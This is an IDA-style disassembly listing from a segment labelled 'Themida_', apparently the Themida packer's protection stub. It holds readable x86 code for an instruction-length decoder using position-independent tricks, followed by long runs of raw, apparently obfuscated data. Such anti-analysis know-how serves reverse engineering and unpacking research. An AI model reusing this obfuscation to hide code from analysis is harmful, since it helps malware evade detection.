movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5A5455
; ---------------------------------------------------------------------------
loc_5A5450: ; CODE XREF: Themida_:005A542Fj
movzx edi, al
shr edi, 1
loc_5A5455: ; CODE XREF: Themida_:005A544Bj
push ebp
call $+5
pop ebp
sub ebp, 7E58CAFh
lea ebp, [ebp+7E5896Dh]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_5A55D7
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_5A551B
dec ecx
jz loc_5A54FE
dec ecx
jnz loc_5A556E
cmp byte ptr [ebp-2], 0
jnz loc_5A556A
cmp byte ptr [ebp-5], 0
jz loc_5A54DD
mov byte ptr [ebp+0Bh], 2
loc_5A54DD: ; CODE XREF: Themida_:005A54D3j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 7E58D3Bh
mov dword ptr [ebp+7E58A8Dh], 1
pop ebp
jmp loc_5A556E
; ---------------------------------------------------------------------------
loc_5A54FE: ; CODE XREF: Themida_:005A54B8j
cmp byte ptr [ebp-2], 0
jnz loc_5A5548
cmp byte ptr [ebp-5], 0
jz loc_5A5548
mov byte ptr [ebp+0Bh], 2
jmp loc_5A5548
; ---------------------------------------------------------------------------
loc_5A551B: ; CODE XREF: Themida_:005A54B1j
cmp byte ptr [ebp-2], 0
jnz loc_5A5561
cmp byte ptr [ebp-5], 0
jz loc_5A5550
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5A5548
mov [ebp+0Bh], cl
loc_5A5548: ; CODE XREF: Themida_:005A5502j
; Themida_:005A550Cj ...
inc byte ptr [ebp+0Bh]
jmp loc_5A556E
; ---------------------------------------------------------------------------
loc_5A5550: ; CODE XREF: Themida_:005A5529j
cmp dl, 5
jnz loc_5A556E
mov [ebp+0Bh], dl
jmp loc_5A556E
; ---------------------------------------------------------------------------
loc_5A5561: ; CODE XREF: Themida_:005A551Fj
cmp dl, 6
jnz loc_5A556E
loc_5A556A: ; CODE XREF: Themida_:005A54C9j
mov byte ptr [ebp+0Bh], 3
loc_5A556E: ; CODE XREF: Themida_:005A54BFj
; Themida_:005A54F9j ...
dec byte ptr [ebp+0Bh]
jz loc_5A559C
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5A557E: ; CODE XREF: Themida_:005A5594j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5A557E
mov esi, edx
loc_5A559C: ; CODE XREF: Themida_:005A5571j
and al, 0FEh
cmp al, 0F6h
jnz loc_5A55D1
cmp edi, 7Fh
ja loc_5A55D1
test bl, 38h
jnz loc_5A55D1
cmp byte ptr [ebp-7], 0
jz loc_5A55CB
movzx eax, byte ptr [ebp-4]
jmp loc_5A55CE
; ---------------------------------------------------------------------------
loc_5A55CB: ; CODE XREF: Themida_:005A55BCj
push 1
pop eax
loc_5A55CE: ; CODE XREF: Themida_:005A55C6j
mov [ebp-1], al
loc_5A55D1: ; CODE XREF: Themida_:005A55A0j
; Themida_:005A55A9j ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_5A55D7: ; CODE XREF: Themida_:005A5481j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5A5602
dec eax
dec eax
jz loc_5A55F8
and bl, 7
add [ebp-1], bl
jmp loc_5A560A
; ---------------------------------------------------------------------------
loc_5A55F8: ; CODE XREF: Themida_:005A55E7j
mov al, [ebp-3]
add al, 6
jmp loc_5A5607
; ---------------------------------------------------------------------------
loc_5A5602: ; CODE XREF: Themida_:005A55DFj
mov al, [ebp-3]
add al, 4
loc_5A5607: ; CODE XREF: Themida_:005A55FDj
add [ebp-1], al
loc_5A560A: ; CODE XREF: Themida_:005A55F3j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_5A5632
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_5A561D: ; CODE XREF: Themida_:005A562Cj
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5A561D
loc_5A5632: ; CODE XREF: Themida_:005A5612j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 8Dh, 85h, 3Ah
dd 8907E58Bh, 0E034A185h, 266E907h, 66600000h, 0C1F6D98Ch
dd 35840F04h, 6A000000h, 1B5FF01h, 8D07E02Fh, 0E37FE885h
dd 89D0FF07h, 0E0312985h, 0C1FE8B07h, 680CEFh, 6A200600h
dd 57026A00h, 1000D68h, 2995FF00h, 0E907E031h, 32h, 75985C6h
dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h, 7E37FE8h
dd 8589D0FFh, 7E02F85h, 2581858Dh, 6A5007E0h, 56056A40h
dd 2F8595FFh, 0C36107E0h, 3 dup(0)
dd 60D48B52h, 8908428Bh, 0E58F1C85h, 0C428B07h, 8F148589h
dd 428B07E5h, 18858910h, 8D07E58Fh, 0E58F52B5h, 0A1858D07h
dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 7E58F1Ch, 8F14858Bh
dd 0BD8307E5h, 7E58F18h, 7840F00h, 89000000h, 2E906h, 6880000h
dd 0CFh, 0
dd 0D48B5200h, 8428B60h, 8F1C8589h, 0B58D07E5h, 7E58FA3h
dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 7E58F1Ch, 8B0004C2h
dd 0E58F1C85h, 89008B07h, 0E58F1C85h, 0CF07h, 89600000h
dd 0E58F79B5h, 75858907h, 8D07E58Fh, 0E014DD85h, 44408B07h
dd 8FB28589h, 0B58D07E5h, 7E58FE8h, 8EA1858Dh, 0D0FF005Bh
dd 79858B61h, 0C307E58Fh, 8F759D8Bh, 0B70F07E5h, 0D8033C43h
dd 3785B8Bh, 0E58F759Dh, 24738B07h, 8F75B503h, 8B5607E5h
dd 738B207Bh, 75BD031Ch, 307E58Fh, 0E58F75B5h, 0C983FC07h
dd 9D8B41FFh, 7E58F79h, 9503178Bh, 7E58F75h, 8A04C783h
dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh
dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
dd 85038604h, 7E58F75h, 8F798589h, 0F08B07E5h, 0C18BCE8Bh
dd 8FB2BD81h, 7E5h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
dd 12E8C100h, 3FF825h, 0B2BD8B00h, 8307E58Fh, 8B06070Ch
dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 8FB2BD81h, 7E5h
dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
dd 0B2BD8100h, 7E58Fh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
dd 0C0600000h, 0CF060883h, 8F20858Dh, 858907E5h, 7E01701h
dd 8FB6858Dh, 858907E5h, 7E025D9h, 8F7D858Dh, 858907E5h
dd 7E02B65h, 92128D8Dh, 816607E5h, 0B02DB1C3h, 158D89CAh
dd 6A07E018h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0D763C355h, 0A4AE77BAh, 0F770FFB8h
dd 4985C73Ah, 0D807E020h, 6A00006Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 658FC353h
dd 48C6EAAEh, 8BDCE0F4h, 0E02D9D9Dh, 0C585C707h, 7E022h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 36E2C351h, 9975820Fh, 0BD89DD68h
dd 7E021E1h, 7B9B5FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 8643DEC3h, 66A6D7AFh
dd 0FF6E6ABFh, 0E0209195h, 0DE907h, 0D43A0000h, 0D8FAB6A6h
dd 40ED3571h, 6AF87951h, 0A995FF00h, 8B07E018h, 5C0BEBC0h
dd 9D59CBB3h, 0C5F186BDh, 9E82BB5h, 1B000000h, 8A922084h
dd 8ECECD57h, 14E959h, 0FA310000h, 2C75A799h, 8E5C5918h
dd 30DA8AB7h, 0BEC4B06Eh, 0C1812B1Dh, 6AEFh, 0FA1BD29h
dd 0B807E0h, 89000000h, 0E0046985h, 834FF07h, 895B5E57h
dd 0E00FE995h, 0ADEB8107h, 8B3D658Eh, 0E01601BDh, 33F38107h
dd 66768D13h, 812E94BAh, 0DA26D4C3h, 45BD3120h, 5307E033h
dd 5301048Fh, 5FF0B70Fh, 2C59B531h, 0E88307E0h, 0A5BD8B01h
dd 4807E028h, 0BF664848h, 0F88189BFh, 0FFFF95A0h, 0FFA7850Fh
dd 11E8FFFFh, 6D000000h, 59926900h, 0F31C3436h, 0EA7025E0h
dd 0A539AFA8h, 6870Fh, 958B0000h, 7E02B69h, 0EDB58B5Bh
dd 8107E028h, 6E9FC3h, 13E900h, 19E20000h, 939D1F4Dh, 6856116Eh
dd 0BBD1F010h, 122004BDh, 1B6D685Bh, 81660000h, 5F6B11C8h
dd 92011BBAh, 0F33FF09h, 0D83h, 8E900h, 51250000h, 3FD06364h
dd 60597DEAh, 5840Fh, 81660000h, 665214CBh, 8161D18Bh
dd 3FDAFAC1h, 11E85Ch, 0C93B0000h, 994965D0h, 0B3DA1FD4h
dd 15641369h, 0B04A5836h, 0F1815EB2h, 78C60AEDh, 2095958Bh
dd 0E98107E0h, 2C389F7Fh, 6051DBB4h, 33C8BF0Fh, 0E013ED8Dh
dd 38F6107h, 13E9h, 0BCB76000h, 6B4BC4ABh, 0A595D2DCh
dd 1ED79705h, 0A485B9CCh, 5204EB83h, 1EF8358h, 0FF73850Fh
dd 890FFFFFh, 0Ah, 5E9h, 9CC2CF00h, 8D8DDB70h, 7E5949Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h
dd 0F82430F0h, 0D692D4B6h, 158D897Ah, 6A07E018h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 8569C351h, 1580C094h, 0BF0FD67Ah, 4985C7F1h, 0A807E020h
dd 6A00005Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 40E4C353h, 5532B6EEh, 89D6419Dh
dd 0E0287985h, 0C585C707h, 7E022h, 0F000000h, 0EE9C7B7h
dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 49B5FF9Dh
dd 5107E01Eh, 0FF5FF78Bh, 0E0209195h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 71BBD581h, 13751C36h, 85239AF0h, 7E02EA1h, 95FF006Ah
dd 7E018A9h, 0DEBC08Bh, 6B355F8Dh, 7AE6AB16h, 753A6BB9h
dd 0CA11DC41h, 0EEBD6E1Ch, 0AC61BC28h, 0B87323F1h, 0C4374305h
dd 15727879h, 568797FFh, 28875082h, 0B8F3E030h, 0BC07E8D2h
dd 0A48A4E1Eh, 14300626h, 1512F63Fh, 155DB930h, 15343466h
dd 4B176E30h, 61BE69F3h, 51B69F14h, 152FC914h, 4371E630h
dd 1BBD80F3h, 33DE9737h, 9637DC33h, 0F5267B8Dh, 91383737h
dd 15379B13h, 4B661FB1h, 1BDEA643h, 1A377333h, 1537ABBFh
dd 153A3530h, 0A6256E30h, 4FA9A811h, 24BA000Dh, 98953478h
dd 0F0A32BB5h, 45371937h, 1537BAD8h, 0D66FFC30h, 3173E768h
dd 3173B634h, 15378134h, 0D6678D30h, 8547AD0Bh, 7522D32Bh
dd 1537BCD8h, 3578C030h, 0FC6DFA47h, 15373739h, 0D93E6241h
dd 9F946222h, 0FC57876Eh, 1537733Fh, 39E155C9h, 0F3BFACC3h
dd 0C784BBF9h, 73A3CE02h, 0FBEB5AB1h, 153C2551h, 65D2E630h
dd 1379111Ah, 6CF75AAEh, 0D5666209h, 45694CA2h, 1CDF6560h
dd 9B379B30h, 0E8E073Fh, 732EAB2Bh, 1A067C6Ah, 1537B9BCh
dd 9C6F8630h, 9E514A34h, 90BACFFBh, 12D20F9Fh, 1537C1D9h
dd 796F5E30h, 367D4465h, 848B3CB1h, 73578CF6h, 7684B7BBh
dd 3133BE51h, 0EAE251B0h, 0F51288A5h, 44378C37h, 153770D8h
dd 0D66E9930h, 317B5569h, 3173EF34h, 15372234h, 0D666DA30h
dd 0D5BC2A7Ah, 1537E3D8h, 0D33D1B30h, 9938D958h, 1537DC33h
dd 4BC7E556h, 13868AB3h, 60379CD0h, 0D08A4E39h, 15300631h
dd 46676A44h, 6F8F79BBh, 9C37DC34h, 0F5179BB5h, 77AABA37h
dd 0EA30798Ch, 966F96E3h, 0F536238Dh, 2437337h, 6F8FEA60h
dd 9C37DC34h, 0F5179BB5h, 44AABA37h, 0EA307989h, 736F96E3h
dd 0D5BC16BBh, 1533F53Fh, 0AB51B930h, 88BA4B98h, 12D2FA87h
dd 0FD64375Ah, 15379B33h, 4EF49610h, 1113BAB9h, 111337B1h
dd 1537B92Dh, 0B6F48F73h, 0B63B654Eh, 81854A1h, 0C6B216E2h
dd 733028B6h, 0C5C830BBh, 9138B33Bh, 1537B9B0h, 0FD66DC5Ah
dd 15376E33h, 4CF46E10h, 1113D7B9h, 111389B1h, 1537E627h
dd 0A7F42271h, 73DB1558h, 88BA27BBh, 12D720D8h, 1537B53Fh
dd 168F9B30h, 7537CD30h, 4E6616BAh, 7FD48C51h, 16DFEA30h
dd 3537DC30h, 9C6CAD6Bh, 9433136Ch, 333BF74h, 5637CD30h
dd 12392563h, 11B77C1Eh, 7337B930h, 0FDAB238Eh, 15376E3Eh
dd 2DB49749h, 0A824A72h, 68ABA8C5h, 7357D5E6h, 0B034A5B1h
dd 4A56E782h, 818841BDh, 155D69D5h, 1534DF63h, 4E179B30h
dd 49BE96F3h, 51B6E214h, 152B7714h, 4674B930h, 0FF7982F3h
dd 0C626FB56h, 1A660E2Ah, 15379EB0h, 0E2B6AB30h, 98692C74h
dd 0F0B1A0B5h, 1E8DDF37h, 94E72341h, 13FD73C6h, 1AF73C0Fh
dd 1537DEB4h, 0B48DAB30h, 0FDAA6B4Bh, 7330937Eh, 148F4EBBh
dd 4337DC30h, 4CE5D93Fh, 155DD4CFh, 15347361h, 4C17CD30h
dd 59BEBFF3h, 51B67714h, 1523BD14h, 4476DC30h, 958E4DF3h
dd 1A0E1057h, 15379EB1h, 32B77430h, 88BAC277h, 12D2E7F4h
dd 0AF870656h, 93E459BDh, 12DE69D5h, 0B0373730h, 5B1D5FECh
dd 0F4B6C54Eh, 30B04969h, 1FDFA3CFh, 0D837B930h, 1AFC15D4h
dd 37A78FF1h, 1E68C275h, 3B394F0h, 4637CD30h, 4B6EB761h
dd 0FDAAFE6Eh, 0E030597Eh, 1537DF88h, 0EAFDE430h, 155D74D3h
dd 15347360h, 4D17CD30h, 51BEBEF3h, 51B67714h, 1523BD14h
dd 4577DC30h, 0A8BA4BF3h, 12D2A39Dh, 8D5116BDh, 688FCAD5h
dd 26BDAD6Ch, 0F52B7AB5h, 0D4F89237h, 8841BDD9h, 5D69D581h
dd 34DF6315h, 179B3015h, 0BE96F34Eh, 0B6E21449h, 0E9831451h
dd 8BA4F305h, 14E8C0h, 0D0950000h, 0EC316951h, 0FE659FCEh
dd 0DE0CB82Bh, 0F0D1840h, 0CA812B53h, 4280E9F3h, 9EBA665Fh
dd 80C38B14h, 0C08B15D6h, 0E8F2B70Fh, 13h, 0D8CA2C5Fh
dd 772A7F61h, 0F713229Eh, 0D62C0B5Eh, 66555B6Ch, 5EBEF4BFh
dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h
dd 7AB8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh
dd 83585BD3h, 0E001C5BDh, 17740007h, 7AB85350h, 89000004h
dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 66585BD3h, 6AF98Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0FD0CEDC3h, 0D6BAF818h, 8B468C04h, 13CE9C0h, 4Fh dup(0)
dd 0BD830000h, 7E023B5h, 0D8840F01h, 0E9000004h, 5, 0C2EC8531h
dd 5985C64Bh, 4307E007h, 68B0Fh, 0F8600000h, 61F8B70Fh
dd 0BE239C68h, 0F525098h, 68Eh, 0F525000h, 0F585A31h, 5A506031h
dd 310F5250h, 5A61585Ah, 24048158h, 53E7AD59h, 0D3816660h
dd 0FF614826h, 0E0292DB5h, 0C8A0F07h, 0F000000h, 685h
dd 880F00h, 8D000000h, 0E37FE885h, 0C830F07h, 0F000000h
dd 68Ah, 8B0F00h, 0FF000000h, 11E9D0h, 5B890000h, 0B98F1C90h
dd 29682F6h, 6D482528h, 892E69E4h, 0E02C6985h, 7E907h
dd 753C0000h, 46543C33h, 5985C6D3h, 5007E007h, 0AE9h, 69276400h
dd 0CCD11BBFh, 0E84DF6FAh, 4, 0A8ADAD56h, 8D0F5250h, 2
dd 310F6160h, 565B5660h, 585A6158h, 0B8666050h, 0FE9CEBDh
dd 79000000h, 49B27413h, 0D4827CE8h, 8572E90Eh, 8B619CAFh
dd 0F042444h, 0D8Ch, 8E900h, 95640000h, 0EBDC32C7h, 8B694Dh
dd 61C78A60h, 4244489h, 0BEBE6060h, 0E83EF5AFh, 9, 6B1316E3h
dd 79B2C4A4h, 50615FDBh, 0F616052h, 5A5F5031h, 0E9586158h
dd 0Fh, 0B0835835h, 33038883h, 0D727B2D2h, 0FF93AD6Eh
dd 0E0292DB5h, 0DE907h, 0AD2C0000h, 0CEF6DDF9h, 0ABB7801h
dd 8D891BD7h, 0E37FE885h, 60516007h, 0F5805F61h, 0D0FF61CEh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 35C35545h
dd 9E835E7Fh, 8840FD6h, 0F000000h, 28Eh, 89616000h, 0E0060D85h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 32C067Ch, 51918177h, 17820FB8h, 0E9000000h
dd 12h, 0BDA8689Eh, 96F7BB63h, 7C550BADh, 2E4DEEF9h, 6660A313h
dd 80168CBAh, 6861B8C1h, 8F5996EDh, 0D38A6060h, 4F09BB61h
dd 81613ECDh, 3EC22434h, 5E97FD6h, 33000000h, 5C448089h
dd 292DB5FFh, 8DF807E0h, 0E37FE885h, 0D0FFF907h, 9E9h
dd 6925EB00h, 43A7078Dh, 85894C19h, 7E0237Dh, 12E960h
dd 3C00000h, 5394F2Bh, 0F5DE7BF3h, 21E0CFDEh, 9DD17ACEh
dd 8E9h, 0C5B23800h, 0B719DCC8h, 85C661AFh, 7E00759h, 56006A50h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0E130731Ah, 0A8E0Fh, 5E90000h, 0A5000000h, 4104BC42h
dd 4E8h, 9CDC5600h, 0A5BF6097h, 60224C1Fh, 140D3FBBh, 0C88B6665h
dd 0E9506161h, 0Ch, 7E0EA353h, 0E959AFC8h, 31B5AB1Bh, 424448Bh
dd 7E860h, 54BC0000h, 0E14682C6h, 66525FEFh, 615AC28Bh
dd 850F008Bh, 0Bh, 6E9h, 5DC38C00h, 89A32B77h, 0F042444h
dd 198Bh, 13850F00h, 0E9000000h, 0Eh, 6D2025D0h, 9780F8Ch
dd 0C59BF55Dh, 0F5589D87h, 2F01B5FFh, 8DF807E0h, 0E039F885h
dd 12E907h, 1EF60000h, 971BF5DDh, 0C2D9B9Dh, 17167FBDh
dd 296725A1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 773C44C3h, 398589F9h, 6007E02Bh
dd 81C8BF0Fh, 0F0D3ED2h, 80606146h, 0CE98ADEh, 82000000h
dd 1BB3AC7Dh, 0B3928BA5h, 61A169A1h, 156E9h, 8A0FF900h
dd 1, 506050FCh, 0BE9h, 615BA800h, 0BBF2A698h, 400D5BC4h
dd 615F535Bh, 0E9242C89h, 8, 9BA1F543h, 11A84CD1h, 0EE9EC8Bh
dd 0FE000000h, 3A747h, 9974702Fh, 0F4B48549h, 0FCC4833Ch
dd 0DE9h, 0C03B5500h, 28939761h, 4690456Ch, 6A605607h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 4A41C356h, 0E8EA8Dh, 5A000000h, 9E93EA81h
dd 45C707E5h, 0FCh, 0B5BA8300h, 107E023h, 98840Fh, 6A520000h
dd 0FF0F6A00h, 0E02C6992h, 82895A07h, 7E5994Ah, 994E9A8Dh
dd 0C75207E5h, 12803h, 0FF505300h, 0E0060D92h, 8D525A07h
dd 0E5994E9Ah, 0B2FF5307h, 7E5994Ah, 2B3992FFh, 0B5A07E0h
dd 8D5074C0h, 0E5994E9Ah, 247B8D07h, 0F981C933h, 104h
dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h
dd 7E00911h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 911828Dh
dd 0FF5007E0h, 0E0237D92h, 0C00B5A07h, 45C7A075h, 1FCh
dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 0F600008h
dd 482h, 13B96600h, 613FB7E8h, 9860Fh, 81600000h, 5DF5F9EBh
dd 8B61F52Eh, 6E8D2h, 0ACC0000h, 159D4132h, 2CE27BB9h
dd 81F95E1Dh, 6EFAC6h, 0DCE58000h, 1B8F68h, 14E900h, 93E30000h
dd 46C84F54h, 0CDC1438Fh, 0E5416A08h, 263B8311h, 52584F3Dh
dd 3800Fh, 8B660000h, 36FF5AF9h, 5BCBBF0Fh, 18A0Fh, 81F80000h
dd 0FC9582EBh, 1890F12h, 0FC000000h, 9DE2F381h, 82B671C7h
dd 1A85F381h, 53FC5119h, 0CE9h, 0D9BA9900h, 0CEE215F8h
dd 0BBF57D75h, 0E8068FD1h, 0Dh, 120F4648h, 30E94C40h, 0FA667947h
dd 5A6FB1E8h, 0E903EE83h, 5, 43EEF723h, 0E8834E96h, 97850F01h
dd 0E9FFFFFFh, 14h, 12A63857h, 0F30C3B51h, 61B2BC50h, 0E2065AD1h
dd 8DCFA161h, 0A0D28D8Dh, 9D2907E5h, 7E000E5h, 3231BD29h
dd 8D8907E0h, 7E01815h, 6E9h, 37C85600h, 0C7165647h, 0E0204985h
dd 586807h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 58BED968h, 0DF1B589h, 85C707E0h
dd 7E022C5h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7DC35343h
dd 85DB5FFh, 8E807E0h, 20000000h, 5EF6ED3Bh, 66BA1F74h
dd 0FC5BDA8Bh, 209195FFh, 6AF907E0h, 0A995FF00h, 8B07E018h
dd 791FEBC0h, 0C38D6D53h, 293EF9ACh, 9993F6D8h, 6A3016AEh
dd 0CB5E3799h, 0DF0297DAh, 99E87CAEh, 2EE92F25h, 0F3000000h
dd 15AF85h, 0Ah dup(0)
dd 0B49E900h, 99680000h, 0E907E5A2h, 0FFFBA717h, 0E5A3B568h
dd 0A70DE907h, 6168FFFBh, 0E907E5A5h, 0FFFBA703h, 0E5A65868h
dd 0A6F9E907h, 0B668FFFBh, 0E907E5A8h, 0FFFBA6EFh, 0E5AA0668h
dd 0A6E5E907h, 0F968FFFBh, 0E907E5AAh, 0FFFBA6DBh, 0AA8125A5h
dd 380FA92Eh, 0C2993BBCh, 5128C046h, 0E1B84ED5h, 0BC430BD8h
dd 50D34F26h, 0DD5FDBB2h, 66EA663Dh, 0F74EF3CAh, 28044B31h
dd 51DA5F63h, 0C311AD31h, 4017B337h, 0BB3D1DA4h, 9730191Bh
dd 8BC780E8h, 64EB9756h, 827F80CEh, 76FCA853h, 5E97E1DEh
dd 1A632347h, 0C046F2B1h, 0C76D2B28h, 63233DDDh, 56074E48h
dd 0C437C901h, 3597h, 86329E00h, 1A1B69FFh, 0F1F4CD1Dh
dd 65476C32h, 88346322h, 191A6804h, 0DB29921Ch, 22644B35h
dd 0E9BCB663h, 3717A3B8h, 0CAF9C4h, 56020000h, 0E7E836D2h
dd 0AD31B9EAh, 2E630586h, 37CD54E0h, 1F9B8A78h, 2A68991Bh
dd 0F6E46F2Dh, 0A6827048h, 0C0F0ED6Eh, 0C652A03Ch, 39CFA642h
dd 5B42BA34h, 0D476F7A3h, 8723A7D7h, 14B034B0h, 3EA71AC6h
dd 0D9C4B97Fh, 4FB86322h, 0CA51FD78h, 25E5E634h, 0B50502A4h
dd 541AD90Ch, 6B0595CCh, 0D07C3BA4h, 6F4B349h, 0FA87652Fh
dd 0BF060389h, 1A9BBC43h, 69292A78h, 0FDFE4CE2h, 5A62BEC8h
dd 7F5972A3h, 931E1h, 0A64ACA00h, 34CE53CFh, 0BE60E15Dh
dd 4DE56BE7h, 0DD73FA76h, 68E6FD06h, 0F8744BE1h, 8400D775h
dd 0F8B6202h, 7318EF8Bh, 570561Ch, 78C6328h, 14AA317Eh
dd 0A13DC13Dh, 0DEA44FCAh, 5B4262F8h, 7DAEAB14h, 7635B011h
dd 5DAB45CAh, 0EF3CB78Fh, 7CB1AC8Ch, 658A507Fh, 0F7632275h
dd 9B5408Eh, 0A3EDEA84h, 632274B9h, 0BE0CAE2Fh, 186AF32h
dd 0E3181967h, 5E440A95h, 72632274h, 0C194EE09h, 2C77713Ch
dd 3707587Dh, 0D9BEC4h, 31C50000h, 37C311ADh, 0AF5B1AB0h
dd 703E8C2Eh, 0B8D7AE8Fh, 8B88BDDEh, 0AA2227CDh, 14985B42h
dd 0A94228EEh, 0F55E5B42h, 0D35501C0h, 73EF3633h, 590553EFh
dd 13BE7D68h, 0A9BCA268h, 0B2E85B42h, 7F7C0C1Eh, 7046D87h
dd 2382C8BDh, 845BC463h, 4D0CD9E8h, 41F6DCA2h, 0C0226323h
dd 3FBF0A85h, 4441AAC4h, 0C9B64F15h, 69D26B05h, 5339FFAAh
dd 675B4477h, 26D201FEh, 0B632099Fh, 901DCC2Fh, 0A3B71699h
dd 7B12646Eh, 4F2972A3h, 815B1h, 0C266E600h, 50EA6FEBh
dd 0DA7CFD79h, 69018703h, 0F98F1692h, 84CA1922h, 149067FDh
dd 0A01CF391h, 2BA77E1Eh, 8F340BA7h, 68C7238h, 1BA06328h
dd 14AA3192h, 0A13DC13Dh, 1CA34FCAh, 0A6DB77FBh, 0FF938A58h
dd 0B8A33B13h, 31558683h, 37C311ADh, 0A44017B3h, 5E09C81Dh
dd 0B8922EB2h, 5B4262D2h, 598885EEh, 22914A93h, 6FBD2663h
dd 0ECC35FE3h, 0ECC48371h, 6B120804h, 1EBA3E6Eh, 8EEB45Fh
dd 246322F9h, 0DA78FBBBh, 0B9791FDDh, 2FF6A71Ch, 0DCC288A8h
dd 0F0EFA717h, 78045287h, 770856F6h, 231F2271h, 0DB9C68Dh
dd 0A1A2F086h, 54F074A4h, 0E17D017Dh, 1804ED93h, 0C51FEFA7h
dd 8046F1FEh, 0EFA7189Ah, 0A0EE8E10h, 864F859Fh, 886222BEh
dd 0F97C3C71h, 0F0C0D5Bh, 0E8BF5BDFh, 0FE4CE86Ch, 0A68F6958h
dd 276E74EFh, 0A0771397h, 0B604A024h, 6F2EB70Ah, 0BE47CCA9h
dd 0A077E0CEh, 6928BD04h, 9E3B6AA3h, 6FBD26CFh, 1BB138E4h
dd 39EBD41Eh, 0C154C6DEh, 0AAF88E15h, 4F16ACA9h, 4CC5391Eh
dd 4465FA8h, 32660000h, 62DBC187h, 86EF5B42h, 66D9DC89h
dd 5CB8A5Bh, 63226A74h, 3CE8A710h, 0CCCD1BB9h, 512BCFh
dd 673FF23Ch, 9E9B37BBh, 0B372734Eh, 525120EDh, 75C32C3Eh
dd 2EEDF8C9h, 0F26B7668h, 0FCC26D3Fh, 36725A16h, 3AC4C12Ah
dd 47FAFF04h, 5E93F5EAh, 1806F49Fh, 290FD58Ah, 45367175h
dd 79BFDADCh, 1397C7C4h, 604127EDh, 695D3672h, 0E1164BE3h
dd 5DE38F0Ah, 1498C8C5h, 0B85E6E78h, 936DA98Eh, 669F5h
dd 6E129200h, 0FC961B97h, 8628A925h, 15AD33AFh, 0A53BC23Eh
dd 301EC5CEh, 0C03C13A9h, 4CC89F3Dh, 0D7532ACAh, 3BE0B753h
dd 8381EE4h, 0CF546328h, 3863246h, 0C68C1765h, 5B4262E0h
dd 615E93FCh, 0C311AD31h, 589B637h, 5B1A1B69h, 4263AF95h
dd 2D62CB5Bh, 17FDC36Eh, 335B4263h, 0F886CDCAh, 0C4h, 3AB51173h
dd 0AC7C8D7Bh, 0CEF2A5B4h, 0A86DAED1h, 9625706Eh, 8A152CA8h
dd 0B1AE2D49h, 0D7827B60h, 4DA1C3h, 11A80000h, 0B57B3AB5h
